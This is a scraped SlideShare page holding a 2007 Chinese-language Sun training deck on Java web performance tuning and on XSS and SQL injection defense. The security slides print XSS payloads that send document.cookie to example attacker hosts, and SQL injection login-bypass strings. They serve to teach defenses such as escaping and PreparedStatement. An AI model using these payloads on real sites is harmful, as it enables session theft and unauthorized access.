SlideShare ist ein Scribd-Unternehmen logo
1 von 60
Downloaden Sie, um offline zu lesen
2007
Java Certification Day
Java Web 程式之
效能技巧與安全防護
林信良
教育訓練講師暨技術顧問
昇陽電腦

                         1
Agenda
1 – Web 效能概觀
2 – 效能量測工具
3 – 程式碼分析
4 - Web 安全概觀
5 – 跨網站指令稿攻擊(Cross-site scripting)
6 – 隱碼攻擊(SQL Injection)




                                     2
Web 效能概觀
• 所有程式都受到三種系統限制
    > CPU速度
    > 記憶體
    > 輸出/輸入




Footnote position, 12 pts.

                             Sun Confidential: Internal Only   3
CPU-bound類型的程式
• 著重在提昇程式效率的演算法




         Sun Confidential: Internal Only   4
記憶體
• Java 有垃圾收集
 > 可以沒有顧忌的配置物件?
 > 系統中有太多短命的物件?
• 大型物件浪費記憶體
 > 建立物件、垃圾收集




               Sun Confidential: Internal Only   5
輸入/輸出
• 輸出輸入絕對會拖慢程式
> 磁碟存取(檔案讀寫、日誌…)
> 資料庫存取(增、刪、查、找…)
> 網路存取(DNS反查…)




         Sun Confidential: Internal Only   6
從1到100
• 撰寫一個程式,可在文字模式上顯示




HOW DO YOU DO
Footnote position, 12 pts.

                             Sun Confidential: Internal Only   7
How do you do
for(int i = 1; i < 100; i++) {
    System.out.print(i + "+");
}
System.out.println(100);

• 在迴圈中經常犯的兩種錯誤
 > 非必要的輸出/輸入
 > 非必要的建構物件




                 Sun Confidential: Internal Only   8
How do you do
• 改進了輸出
String output = "";
for(int i = 1; i < 100; i++) {
    output = output + i + "+";
}                                                  一次 IO
output += 100;
System.out.println(output);




                 Sun Confidential: Internal Only           9
How do you do
• 物件的重用(一)
 StringBuffer output = new StringBuffer();
 for(int i = 1; i < 100; i++) {
     output.append(i);
     output.append("+");
 }
 output.append(100);
 System.out.println(output);       重用物件




                 Sun Confidential: Internal Only   10
How do you do
• 物件的重用(二)
 StringBuffer output = new StringBuffer(300);
 for(int i = 1; i < 100; i++) {
     output.append(i);
     output.append("+");
 }
 output.append(100);
 System.out.println(output);
                                預設16字元




                 Sun Confidential: Internal Only   11
How do you do
• 執行緒議題
 StringBuilder output = new StringBuilder(300);
 for(int i = 1; i < 100; i++) {
     output.append(i);
     output.append("+");
 }
 output.append(100);
 System.out.println(output);
                               JDK 5.0以上




                 Sun Confidential: Internal Only   12
效能量測工具
•   觀察GC -verbosegc
•   程式執行效率 -Xrunhprof
•   JDK 5.0之後的工具 jconsole
•   Profiler
    > NetBeans Profiler




                          Sun Confidential: Internal Only   13
觀察GC
• 啟動JVM時的選項,可觀察
 > 物件所佔據的時間與空間
 > 回收時所釋放的空間

C:>java -verbosegc -jar "C:Program FilesJavajdk1.6.0_01demojfc
NotepadNotePad.jar"




                          Sun Confidential: Internal Only               14
觀察GC




       Sun Confidential: Internal Only   15
觀察GC
• C:>java -verbosegc -XX:+PrintGCDetails-jar "C:Program
  FilesJavajdk1.6.0_01demojfcNotepadNotePad.jar"




                       Sun Confidential: Internal Only      16
觀察GC
• Heap區是分Generation管理的
• 針對不同的Generation採不同的GC演算法




           Sun Confidential: Internal Only   17
觀察GC
• 預設的JVM假設物件是infant mortality
 > 在建構之後,很快就會成為垃圾
 > 例如Iterator物件
• 物件一開始是分配在Eden
 > 多數的物件成為垃圾
 > 填滿時引發minor collection
 > 在當中存活的物件被複製到Tenured generation
• Tenured generation會使用major collection
 > 通常比較慢,因為包括所有的物件


                  Sun Confidential: Internal Only   18
觀察GC
• GC運行時,應用程式不作任何事
 > 呼叫System.gc()
 > Heap區太小,預設值都很小
 > 頻繁的建構、釋放物件
• 最基本的是調整Heap分配
 > Xms
 > Xmx
 > Xmn



          Sun Confidential: Internal Only   19
觀察GC
• 預設值通常不適用大型主機
 > 初始heap區通常很小,要經過多次major
   collection
 > 最大heap區通常也不適用
• 簡單的設定
 > Server端JVM最好將-Xms和-Xmx設為相同值
 > 最好-Xmn值约等於-Xmx的1/3
 > 如果每次GC後,heap的剩餘空間是總空間的
   50%,表示Heap處於健康狀態
 > Server端Java程式每次GC後最好能有65%剩餘
   空間
            Sun Confidential: Internal Only   20
程式執行效率
• 定期對call stack進行取樣
  > 得知目前正在stack頂端的方法
  > 可計算哪個部份花費最多執行時間
• java -Xrunhprof:help
  > java -Xrunhprof:cpu=samples
  > java -Xrunhprof:cpu=times




                     Sun Confidential: Internal Only   21
程式執行效率
• java -Xrunhprof:cpu=samples,depth=6 TestHprof
• java.hprof.txt

CPU SAMPLES BEGIN (total = 109) Thu Mar 22 13:54:45 2007
rank self accum count trace method
  1 21.10% 21.10%  23 300041 java.lang.AbstractStringBuilder.expandCapacity
  2 17.43% 38.53%  19 300052 java.lang.AbstractStringBuilder.expandCapacity
  3 12.84% 51.38%  14 300047 java.lang.AbstractStringBuilder.expandCapacity
  4 6.42% 57.80%   7 300046 java.lang.AbstractStringBuilder.append
  5 5.50% 63.30%   6 300050 java.lang.String.<init>
  6 5.50% 68.81%   6 300053 java.lang.String.<init>
  7 3.67% 72.48%   4 300048 java.lang.AbstractStringBuilder.append
  8 3.67% 76.15%   4 300045 java.lang.String.<init>



                               Sun Confidential: Internal Only                22
TRACE 300041: (thread=200001)
   java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99)
   java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393)
   java.lang.StringBuilder.append(StringBuilder.java:120)
   TestHprof.addToCat(TestHprof.java:15)
   TestHprof.makeString(TestHprof.java:10)
   TestHprof.main(TestHprof.java:54)

TRACE 300052: (thread=200001)
   java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99)
   java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393)
   java.lang.StringBuilder.append(StringBuilder.java:120)
   TestHprof.makeStringWithLocal(TestHprof.java:28)
   TestHprof.main(TestHprof.java:56)

TRACE 300047: (thread=200001)
   java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99)
   java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393)
   java.lang.StringBuilder.append(StringBuilder.java:120)
   TestHprof.makeStringInline(TestHprof.java:21)
   TestHprof.main(TestHprof.java:55)
                                  Sun Confidential: Internal Only                  23
jconsole
• JDK 5.0之後




              Sun Confidential: Internal Only   24
jconsole




           Sun Confidential: Internal Only   25
jconsole




           Sun Confidential: Internal Only   26
Profiler
• NetBeans Profiler
  > http://www.netbeans.org/products/profiler/
  > http://www.netbeans.org/kb/55/profiler-tutorial.html




                        Sun Confidential: Internal Only    27
效能分析




       Sun Confidential: Internal Only   28
選擇分析方法




         Sun Confidential: Internal Only   29
過濾器(Filter)




          Sun Confidential: Internal Only   30
過濾器(Filter)




          Sun Confidential: Internal Only   31
分析呼叫堆疊與取樣




       Sun Confidential: Internal Only   32
程式碼分析
• LocalVariableCouldBeFinal
  > 區域變數只被設值一次時應宣告為 final
• MethodArgumentCouldBeFinal
  > 方法的參數如果不會被設值則應宣告為 final
• AvoidInstantiatingObjectsInLoops
  > 偵測是否在迴圈中建立新的物件實體
• UseArrayListInsteadOfVector
  > 建議以 ArrayList 取代 Vector



                   Sun Confidential: Internal Only   33
程式碼分析
• SimplifyStartsWith
  > 當字串字面值的長度為 1 時,建議改以 String.charAt(0) 代
    替 String.startsWith 以增進效能
• UseStringBufferForStringAppends
  > 建議字串結合以 StringBuffer 取代
• UseArraysAsList
  > 建議用Arrays.asList 由物件陣列來轉換成 List 而不是以迴
    圈的方式建立 List
• AvoidArrayLoops
  > 以 System.arrayCopy 取代迴圈的方式複製陣列
• UnnecessaryWrapperObjectCreation
  > 建立移除不必要的外覆物件,應直接傳遞原始物件較佳

                       Sun Confidential: Internal Only   34
程式碼分析
• http://pmd.sourceforge.net/
• PMD scans Java source code and looks for
  potential problems like:
  > Possible bugs - empty try/catch/finally/switch
      statements
  >   Dead code - unused local variables, parameters and
      private methods
  >   Suboptimal code - wasteful String/StringBuffer
      usage
  >   Overcomplicated expressions - unnecessary if
      statements, for loops that could be while loops
  >   Duplicate code - copied/pasted code means
      copied/pasted bugs
                        Sun Confidential: Internal Only    35
程式碼分析




        Sun Confidential: Internal Only   36
程式碼分析




        Sun Confidential: Internal Only   37
Web 安全概觀
• 研究:91%的網站都有漏洞
 >   Cross Site Scripting
 >   SQL Injection
 >   …
 >   Improper Error Handling




                         Sun Confidential: Internal Only   38
跨網站指令稿攻擊
•   Cross-site scripting(XSS)
•   會話劫奪(Session hijacking)
•   釣魚(Phishing)
•   特徵
    > 使用者輸入的資料沒有過濾
    > 網站直接回送使用者輸出的資料




                  Sun Confidential: Internal Only   39
XSS:Session hijacking
• 例如搜尋功能回送使用者輸入的查詢字串

   Could not find any documents including ‘foo’




                    Sun Confidential: Internal Only   40
XSS:Session hijacking

       Search <b>foo</b>




              Could not find any documents including ‘<b>foo</b>’




   Could not find any documents including ‘foo’



                    Sun Confidential: Internal Only            41
XSS:Session hijacking
<script language=‘javascript’>alert(document.cookie)</script>




                 Could not find any documents including
                 ‘<script language=‘javascript’>alert(document.cookie)</script>’




                             Sun Confidential: Internal Only                   42
XSS:Session hijacking
             入侵


                                                     www.hahaorz.com


 http://www.xssorz.com/search?query=foo




                                                          www.xssorz.com

                   Sun Confidential: Internal Only                         43
XSS:Session hijacking
                  入侵


                                                            www.hahaorz.com


   http://www.xssorz.com/search?query=foo

<script
language='javascript'>document.location="http://ww
w.hahaorz.com/foo" +document.cookie</script>
                                                                 www.xssorz.com

                          Sun Confidential: Internal Only                         44
XSS:Session hijacking
                入侵


                                                         www.hahaorz.com


  http://www.xssorz.com/search?query=foo


%3Cscript+language%3D%27javascript%27%3Edocu
ment.cookies%3C%2Fscript%3E
                                                              www.xssorz.com

                       Sun Confidential: Internal Only                         45
XSS:Session hijacking
                入侵


                                                         www.hahaorz.com

http://www.xssorz.com/search?query%3Cs
cript+language%3D%27javascript%27%3E
document.cookies%3C%2Fscript%3E




                                                              www.xssorz.com

                   www.e04orz.com
                       Sun Confidential: Internal Only                         46
XSS:Session hijacking
                 入侵


                                                          www.hahaorz.com

<a href =http://www.xssorz.com/search?query%3C
script+language%3D%27javascript%27%3Edocumen
t.cookies%3C%2Fscript%3E
>可以找到很多美女圖^o^</a>



                                                               www.xssorz.com

                    www.e04orz.com
                        Sun Confidential: Internal Only                         47
XSS:Session hijacking
         入侵


                                                  www.hahaorz.com



    可以找到很多猛男圖^o^




                                                       www.xssorz.com
            www.e04orz.com

                Sun Confidential: Internal Only                         48
XSS:Session hijacking
         入侵


                                          www.hahaorz.com


     可以找到很多猛男圖^o^

                     JSESSIONID=0146B416F…




                                                        www.xssorz.com
           www.e04orz.com

               Sun Confidential: Internal Only                           49
XSS:Phishing
   <script language='javascript'>document.location="http://www.svn.com/foo"
   +document.cookie</script>

      留言版、討論區
                                                    http://java.sun.com/forum




                         Sun Confidential: Internal Only                        50
XSS:Phishing
   <script language='javascript'>document.location="http://www.svn.com/foo"
   +document.cookie</script>

      留言版、討論區
                                                           http://java.svn.com/forum


                   http://java.svn.com/forum




                                Sun Confidential: Internal Only                        51
XSS
• 過濾請求資料
 > <  &lt;
 > >  &gt;
 > <script>




              Sun Confidential: Internal Only   52
隱碼攻擊
• SQL Injection
名稱:                       密碼:

Statement statement = connection.createStatement();

String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” +
      username + “’ AND PASSWORD=‘” + password + “’;”;

ResultSet resultSet = statement.executeQuery(queryString);


 “SELECT * FROM USER_TABLE WHERE USERNAME=‘” +
      username + “’ AND PASSWORD=‘” + password + “’;”




                          Sun Confidential: Internal Only            53
SQL Injection

名稱:    caterpillar        密碼:                    123456


Statement statement = connection.createStatement();

String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” +
      username + “’ AND PASSWORD=‘” + password + “’;”;

ResultSet resultSet = statement.executeQuery(queryString);


“SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’ AND
PASSWORD=‘123456’;




                          Sun Confidential: Internal Only            54
SQL Injection

名稱:    caterpillar        密碼:                    ‘ OR ‘1’=‘1

Statement statement = connection.createStatement();

String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” +
      username + “’ AND PASSWORD=‘” + password + “’;”;

ResultSet resultSet = statement.executeQuery(queryString);


“SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’ AND
PASSWORD=‘‘ OR ‘1’=‘1’;

                                         總是為true


                          Sun Confidential: Internal Only            55
SQL Injection

名稱:    caterpillar’;#     密碼:

Statement statement = connection.createStatement();

String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” +
      username + “’ AND PASSWORD=‘” + password + “’;”;

ResultSet resultSet = statement.executeQuery(queryString);


“SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’;# AND
PASSWORD=‘‘ OR ‘’;
                                                            註解符號



                          Sun Confidential: Internal Only            56
SQL Injection
• 使用PreparedStatement
 PreparedStatement stmt = conn.prepareStatement(
     “SELECT * FROM USER_TABLE WHERE USERNAME=? AND
 PASSWORD=?");

• 過濾請求資料
 > 單引號 &#39;
 > 雙引號  &quot;




                       Sun Confidential: Internal Only   57
自動檢測安全工具
• 在開發程式的過程中帶入安全觀念與工具
> 在程式撰寫階段應用安全掃描工具
> 在測試階段實行滲透(permeation)測試
> 對已上線的產品進行補強




           Sun Confidential: Internal Only   58
自動檢測安全工具
• Watchfire Web Appscan
• Acunetrix
• Fortify




                   Sun Confidential: Internal Only   59
Thanks
林信良
教育訓練講師暨技術顧問
昇陽電腦

              60

Weitere ähnliche Inhalte

Was ist angesagt?

Apache Server Tutorial
Apache Server TutorialApache Server Tutorial
Apache Server TutorialJagat Kothari
 
Spring Boot & Actuators
Spring Boot & ActuatorsSpring Boot & Actuators
Spring Boot & ActuatorsVMware Tanzu
 
SQL Injection INSERT ON DUPLICATE KEY trick
SQL Injection INSERT ON DUPLICATE KEY trickSQL Injection INSERT ON DUPLICATE KEY trick
SQL Injection INSERT ON DUPLICATE KEY trickMathias Karlsson
 
PHP, Under The Hood - DPC
PHP, Under The Hood - DPCPHP, Under The Hood - DPC
PHP, Under The Hood - DPCAnthony Ferrara
 
Learning AOSP - Android Booting Process
Learning AOSP - Android Booting ProcessLearning AOSP - Android Booting Process
Learning AOSP - Android Booting ProcessNanik Tolaram
 
Nginx Internals
Nginx InternalsNginx Internals
Nginx InternalsJoshua Zhu
 
Asynchronous JavaScript & XML (AJAX)
Asynchronous JavaScript & XML (AJAX)Asynchronous JavaScript & XML (AJAX)
Asynchronous JavaScript & XML (AJAX)Adnan Sohail
 
Being Functional on Reactive Streams with Spring Reactor
Being Functional on Reactive Streams with Spring ReactorBeing Functional on Reactive Streams with Spring Reactor
Being Functional on Reactive Streams with Spring ReactorMax Huang
 
Présentation spring data Matthieu Briend
Présentation spring data  Matthieu BriendPrésentation spring data  Matthieu Briend
Présentation spring data Matthieu BriendSOAT
 
Comparing Native Java REST API Frameworks - Seattle JUG 2022
Comparing Native Java REST API Frameworks - Seattle JUG 2022Comparing Native Java REST API Frameworks - Seattle JUG 2022
Comparing Native Java REST API Frameworks - Seattle JUG 2022Matt Raible
 
進擊的前端工程師:今天就用 JSON Server 自己打造 API 吧!
進擊的前端工程師:今天就用 JSON Server 自己打造 API 吧!進擊的前端工程師:今天就用 JSON Server 自己打造 API 吧!
進擊的前端工程師:今天就用 JSON Server 自己打造 API 吧!Will Huang
 
Java troubleshooting thread dump
Java troubleshooting thread dumpJava troubleshooting thread dump
Java troubleshooting thread dumpejlp12
 
Asynchronous API in Java8, how to use CompletableFuture
Asynchronous API in Java8, how to use CompletableFutureAsynchronous API in Java8, how to use CompletableFuture
Asynchronous API in Java8, how to use CompletableFutureJosé Paumard
 
Intro to Node.js (v1)
Intro to Node.js (v1)Intro to Node.js (v1)
Intro to Node.js (v1)Chris Cowan
 
Overview of Android binder IPC implementation
Overview of Android binder IPC implementationOverview of Android binder IPC implementation
Overview of Android binder IPC implementationChethan Pchethan
 

Was ist angesagt? (20)

Apache Server Tutorial
Apache Server TutorialApache Server Tutorial
Apache Server Tutorial
 
Spring Boot & Actuators
Spring Boot & ActuatorsSpring Boot & Actuators
Spring Boot & Actuators
 
Android Internals
Android InternalsAndroid Internals
Android Internals
 
SQL Injection INSERT ON DUPLICATE KEY trick
SQL Injection INSERT ON DUPLICATE KEY trickSQL Injection INSERT ON DUPLICATE KEY trick
SQL Injection INSERT ON DUPLICATE KEY trick
 
PHP, Under The Hood - DPC
PHP, Under The Hood - DPCPHP, Under The Hood - DPC
PHP, Under The Hood - DPC
 
Low Level View of Android System Architecture
Low Level View of Android System ArchitectureLow Level View of Android System Architecture
Low Level View of Android System Architecture
 
Learning AOSP - Android Booting Process
Learning AOSP - Android Booting ProcessLearning AOSP - Android Booting Process
Learning AOSP - Android Booting Process
 
Nginx Internals
Nginx InternalsNginx Internals
Nginx Internals
 
Async/Await
Async/AwaitAsync/Await
Async/Await
 
Asynchronous JavaScript & XML (AJAX)
Asynchronous JavaScript & XML (AJAX)Asynchronous JavaScript & XML (AJAX)
Asynchronous JavaScript & XML (AJAX)
 
Being Functional on Reactive Streams with Spring Reactor
Being Functional on Reactive Streams with Spring ReactorBeing Functional on Reactive Streams with Spring Reactor
Being Functional on Reactive Streams with Spring Reactor
 
Présentation spring data Matthieu Briend
Présentation spring data  Matthieu BriendPrésentation spring data  Matthieu Briend
Présentation spring data Matthieu Briend
 
Comparing Native Java REST API Frameworks - Seattle JUG 2022
Comparing Native Java REST API Frameworks - Seattle JUG 2022Comparing Native Java REST API Frameworks - Seattle JUG 2022
Comparing Native Java REST API Frameworks - Seattle JUG 2022
 
進擊的前端工程師:今天就用 JSON Server 自己打造 API 吧!
進擊的前端工程師:今天就用 JSON Server 自己打造 API 吧!進擊的前端工程師:今天就用 JSON Server 自己打造 API 吧!
進擊的前端工程師:今天就用 JSON Server 自己打造 API 吧!
 
Java troubleshooting thread dump
Java troubleshooting thread dumpJava troubleshooting thread dump
Java troubleshooting thread dump
 
Asynchronous API in Java8, how to use CompletableFuture
Asynchronous API in Java8, how to use CompletableFutureAsynchronous API in Java8, how to use CompletableFuture
Asynchronous API in Java8, how to use CompletableFuture
 
Improve Android System Component Performance
Improve Android System Component PerformanceImprove Android System Component Performance
Improve Android System Component Performance
 
Intro to React
Intro to ReactIntro to React
Intro to React
 
Intro to Node.js (v1)
Intro to Node.js (v1)Intro to Node.js (v1)
Intro to Node.js (v1)
 
Overview of Android binder IPC implementation
Overview of Android binder IPC implementationOverview of Android binder IPC implementation
Overview of Android binder IPC implementation
 

Andere mochten auch

Java SE 8 的 Lambda 連鎖效應 - 語法、風格與程式庫
Java SE 8 的 Lambda 連鎖效應 - 語法、風格與程式庫Java SE 8 的 Lambda 連鎖效應 - 語法、風格與程式庫
Java SE 8 的 Lambda 連鎖效應 - 語法、風格與程式庫Justin Lin
 
Java SE 8 技術手冊第 17 章 - 反射與類別載入器
Java SE 8 技術手冊第 17 章 - 反射與類別載入器Java SE 8 技術手冊第 17 章 - 反射與類別載入器
Java SE 8 技術手冊第 17 章 - 反射與類別載入器Justin Lin
 
Java SE 8 技術手冊第 16 章 - 整合資料庫
Java SE 8 技術手冊第 16 章 - 整合資料庫Java SE 8 技術手冊第 16 章 - 整合資料庫
Java SE 8 技術手冊第 16 章 - 整合資料庫Justin Lin
 
Java SE 8 技術手冊第 18 章 - 自訂泛型、列舉與標註
Java SE 8 技術手冊第 18 章 - 自訂泛型、列舉與標註Java SE 8 技術手冊第 18 章 - 自訂泛型、列舉與標註
Java SE 8 技術手冊第 18 章 - 自訂泛型、列舉與標註Justin Lin
 
Java SE 8 技術手冊第 14 章 - NIO 與 NIO2
Java SE 8 技術手冊第 14 章 - NIO 與 NIO2Java SE 8 技術手冊第 14 章 - NIO 與 NIO2
Java SE 8 技術手冊第 14 章 - NIO 與 NIO2Justin Lin
 
Java SE 8 技術手冊第 11 章 - 執行緒與並行API
Java SE 8 技術手冊第 11 章 - 執行緒與並行APIJava SE 8 技術手冊第 11 章 - 執行緒與並行API
Java SE 8 技術手冊第 11 章 - 執行緒與並行APIJustin Lin
 
Java SE 8 技術手冊第 13 章 - 時間與日期
Java SE 8 技術手冊第 13 章 - 時間與日期Java SE 8 技術手冊第 13 章 - 時間與日期
Java SE 8 技術手冊第 13 章 - 時間與日期Justin Lin
 
Java SE 8 技術手冊第 7 章 - 介面與多型
Java SE 8 技術手冊第 7 章 - 介面與多型Java SE 8 技術手冊第 7 章 - 介面與多型
Java SE 8 技術手冊第 7 章 - 介面與多型Justin Lin
 
Java SE 8 技術手冊第 12 章 - Lambda
Java SE 8 技術手冊第 12 章 - LambdaJava SE 8 技術手冊第 12 章 - Lambda
Java SE 8 技術手冊第 12 章 - LambdaJustin Lin
 
Java SE 8 技術手冊第 10 章 - 輸入輸出
Java SE 8 技術手冊第 10 章 - 輸入輸出Java SE 8 技術手冊第 10 章 - 輸入輸出
Java SE 8 技術手冊第 10 章 - 輸入輸出Justin Lin
 
Java SE 8 技術手冊第 4 章 - 認識物件
Java SE 8 技術手冊第 4 章 - 認識物件Java SE 8 技術手冊第 4 章 - 認識物件
Java SE 8 技術手冊第 4 章 - 認識物件Justin Lin
 
Java SE 8 技術手冊第 8 章 - 例外處理
Java SE 8 技術手冊第 8 章 - 例外處理Java SE 8 技術手冊第 8 章 - 例外處理
Java SE 8 技術手冊第 8 章 - 例外處理Justin Lin
 
Java SE 8 技術手冊第 5 章 - 物件封裝
Java SE 8 技術手冊第 5 章 - 物件封裝Java SE 8 技術手冊第 5 章 - 物件封裝
Java SE 8 技術手冊第 5 章 - 物件封裝Justin Lin
 
淺談 Groovy 與 Gradle
淺談 Groovy 與 Gradle淺談 Groovy 與 Gradle
淺談 Groovy 與 GradleJustin Lin
 
Java SE 8 技術手冊第 3 章 - 基礎語法
Java SE 8 技術手冊第 3 章 - 基礎語法Java SE 8 技術手冊第 3 章 - 基礎語法
Java SE 8 技術手冊第 3 章 - 基礎語法Justin Lin
 
Java SE 8 技術手冊第 2 章 - 從JDK到IDE
Java SE 8 技術手冊第 2 章 - 從JDK到IDEJava SE 8 技術手冊第 2 章 - 從JDK到IDE
Java SE 8 技術手冊第 2 章 - 從JDK到IDEJustin Lin
 
Java SE 8 技術手冊第 6 章 - 繼承與多型
Java SE 8 技術手冊第 6 章 - 繼承與多型Java SE 8 技術手冊第 6 章 - 繼承與多型
Java SE 8 技術手冊第 6 章 - 繼承與多型Justin Lin
 
Java SE 8 技術手冊第 15 章 - 通用API
Java SE 8 技術手冊第 15 章 - 通用APIJava SE 8 技術手冊第 15 章 - 通用API
Java SE 8 技術手冊第 15 章 - 通用APIJustin Lin
 
Java SE 8 技術手冊第 9 章 - Collection與Map
Java SE 8 技術手冊第 9 章 - Collection與MapJava SE 8 技術手冊第 9 章 - Collection與Map
Java SE 8 技術手冊第 9 章 - Collection與MapJustin Lin
 

Andere mochten auch (20)

Java SE 8 的 Lambda 連鎖效應 - 語法、風格與程式庫
Java SE 8 的 Lambda 連鎖效應 - 語法、風格與程式庫Java SE 8 的 Lambda 連鎖效應 - 語法、風格與程式庫
Java SE 8 的 Lambda 連鎖效應 - 語法、風格與程式庫
 
進階主題
進階主題進階主題
進階主題
 
Java SE 8 技術手冊第 17 章 - 反射與類別載入器
Java SE 8 技術手冊第 17 章 - 反射與類別載入器Java SE 8 技術手冊第 17 章 - 反射與類別載入器
Java SE 8 技術手冊第 17 章 - 反射與類別載入器
 
Java SE 8 技術手冊第 16 章 - 整合資料庫
Java SE 8 技術手冊第 16 章 - 整合資料庫Java SE 8 技術手冊第 16 章 - 整合資料庫
Java SE 8 技術手冊第 16 章 - 整合資料庫
 
Java SE 8 技術手冊第 18 章 - 自訂泛型、列舉與標註
Java SE 8 技術手冊第 18 章 - 自訂泛型、列舉與標註Java SE 8 技術手冊第 18 章 - 自訂泛型、列舉與標註
Java SE 8 技術手冊第 18 章 - 自訂泛型、列舉與標註
 
Java SE 8 技術手冊第 14 章 - NIO 與 NIO2
Java SE 8 技術手冊第 14 章 - NIO 與 NIO2Java SE 8 技術手冊第 14 章 - NIO 與 NIO2
Java SE 8 技術手冊第 14 章 - NIO 與 NIO2
 
Java SE 8 技術手冊第 11 章 - 執行緒與並行API
Java SE 8 技術手冊第 11 章 - 執行緒與並行APIJava SE 8 技術手冊第 11 章 - 執行緒與並行API
Java SE 8 技術手冊第 11 章 - 執行緒與並行API
 
Java SE 8 技術手冊第 13 章 - 時間與日期
Java SE 8 技術手冊第 13 章 - 時間與日期Java SE 8 技術手冊第 13 章 - 時間與日期
Java SE 8 技術手冊第 13 章 - 時間與日期
 
Java SE 8 技術手冊第 7 章 - 介面與多型
Java SE 8 技術手冊第 7 章 - 介面與多型Java SE 8 技術手冊第 7 章 - 介面與多型
Java SE 8 技術手冊第 7 章 - 介面與多型
 
Java SE 8 技術手冊第 12 章 - Lambda
Java SE 8 技術手冊第 12 章 - LambdaJava SE 8 技術手冊第 12 章 - Lambda
Java SE 8 技術手冊第 12 章 - Lambda
 
Java SE 8 技術手冊第 10 章 - 輸入輸出
Java SE 8 技術手冊第 10 章 - 輸入輸出Java SE 8 技術手冊第 10 章 - 輸入輸出
Java SE 8 技術手冊第 10 章 - 輸入輸出
 
Java SE 8 技術手冊第 4 章 - 認識物件
Java SE 8 技術手冊第 4 章 - 認識物件Java SE 8 技術手冊第 4 章 - 認識物件
Java SE 8 技術手冊第 4 章 - 認識物件
 
Java SE 8 技術手冊第 8 章 - 例外處理
Java SE 8 技術手冊第 8 章 - 例外處理Java SE 8 技術手冊第 8 章 - 例外處理
Java SE 8 技術手冊第 8 章 - 例外處理
 
Java SE 8 技術手冊第 5 章 - 物件封裝
Java SE 8 技術手冊第 5 章 - 物件封裝Java SE 8 技術手冊第 5 章 - 物件封裝
Java SE 8 技術手冊第 5 章 - 物件封裝
 
淺談 Groovy 與 Gradle
淺談 Groovy 與 Gradle淺談 Groovy 與 Gradle
淺談 Groovy 與 Gradle
 
Java SE 8 技術手冊第 3 章 - 基礎語法
Java SE 8 技術手冊第 3 章 - 基礎語法Java SE 8 技術手冊第 3 章 - 基礎語法
Java SE 8 技術手冊第 3 章 - 基礎語法
 
Java SE 8 技術手冊第 2 章 - 從JDK到IDE
Java SE 8 技術手冊第 2 章 - 從JDK到IDEJava SE 8 技術手冊第 2 章 - 從JDK到IDE
Java SE 8 技術手冊第 2 章 - 從JDK到IDE
 
Java SE 8 技術手冊第 6 章 - 繼承與多型
Java SE 8 技術手冊第 6 章 - 繼承與多型Java SE 8 技術手冊第 6 章 - 繼承與多型
Java SE 8 技術手冊第 6 章 - 繼承與多型
 
Java SE 8 技術手冊第 15 章 - 通用API
Java SE 8 技術手冊第 15 章 - 通用APIJava SE 8 技術手冊第 15 章 - 通用API
Java SE 8 技術手冊第 15 章 - 通用API
 
Java SE 8 技術手冊第 9 章 - Collection與Map
Java SE 8 技術手冊第 9 章 - Collection與MapJava SE 8 技術手冊第 9 章 - Collection與Map
Java SE 8 技術手冊第 9 章 - Collection與Map
 

Ähnlich wie Java Web 程式之效能技巧與安全防護

Btrace intro(撒迦)
Btrace intro(撒迦)Btrace intro(撒迦)
Btrace intro(撒迦)ykdsg
 
3.android 应用程序通用自动脱壳方法研究
3.android 应用程序通用自动脱壳方法研究3.android 应用程序通用自动脱壳方法研究
3.android 应用程序通用自动脱壳方法研究Hsiao Tim
 
恶意网页分析实战
恶意网页分析实战恶意网页分析实战
恶意网页分析实战Huang Toby
 
Javascript primer plus
Javascript primer plusJavascript primer plus
Javascript primer plusDongxu Yao
 
从林书豪到全明星 - 虎扑网技术架构如何化解流量高峰
从林书豪到全明星 - 虎扑网技术架构如何化解流量高峰从林书豪到全明星 - 虎扑网技术架构如何化解流量高峰
从林书豪到全明星 - 虎扑网技术架构如何化解流量高峰Scourgen Hong
 
Python 于 webgame 的应用
Python 于 webgame 的应用Python 于 webgame 的应用
Python 于 webgame 的应用勇浩 赖
 
Shell,信号量以及java进程的退出
Shell,信号量以及java进程的退出Shell,信号量以及java进程的退出
Shell,信号量以及java进程的退出wang hongjiang
 
Software Engineer Talk
Software Engineer TalkSoftware Engineer Talk
Software Engineer TalkLarry Cai
 
110824 knoss-windows系统机制浅析
110824 knoss-windows系统机制浅析110824 knoss-windows系统机制浅析
110824 knoss-windows系统机制浅析Zoom Quiet
 
淘宝网前台应用性能优化实践
淘宝网前台应用性能优化实践淘宝网前台应用性能优化实践
淘宝网前台应用性能优化实践丁 宇
 
Beyond rails server
Beyond rails serverBeyond rails server
Beyond rails serverMichael Chen
 
OPOA in Action -- 使用MagixJS简化WebAPP开发
OPOA in Action -- 使用MagixJS简化WebAPP开发OPOA in Action -- 使用MagixJS简化WebAPP开发
OPOA in Action -- 使用MagixJS简化WebAPP开发leneli
 
Net 相依性注入 學習筆記 1.0
Net 相依性注入 學習筆記 1.0Net 相依性注入 學習筆記 1.0
Net 相依性注入 學習筆記 1.0智興 陳
 
網站程式資安白箱與黑箱檢測處理經驗分享
網站程式資安白箱與黑箱檢測處理經驗分享網站程式資安白箱與黑箱檢測處理經驗分享
網站程式資安白箱與黑箱檢測處理經驗分享Ying-Chun Cheng
 
[students AI workshop] Pytorch
[students AI workshop]  Pytorch[students AI workshop]  Pytorch
[students AI workshop] PytorchTzu-Wei Huang
 
Java Crash分析(2012-05-10)
Java Crash分析(2012-05-10)Java Crash分析(2012-05-10)
Java Crash分析(2012-05-10)Kris Mok
 
前端性能测试
前端性能测试前端性能测试
前端性能测试tbmallf2e
 

Ähnlich wie Java Web 程式之效能技巧與安全防護 (20)

Berserk js
Berserk jsBerserk js
Berserk js
 
Btrace intro(撒迦)
Btrace intro(撒迦)Btrace intro(撒迦)
Btrace intro(撒迦)
 
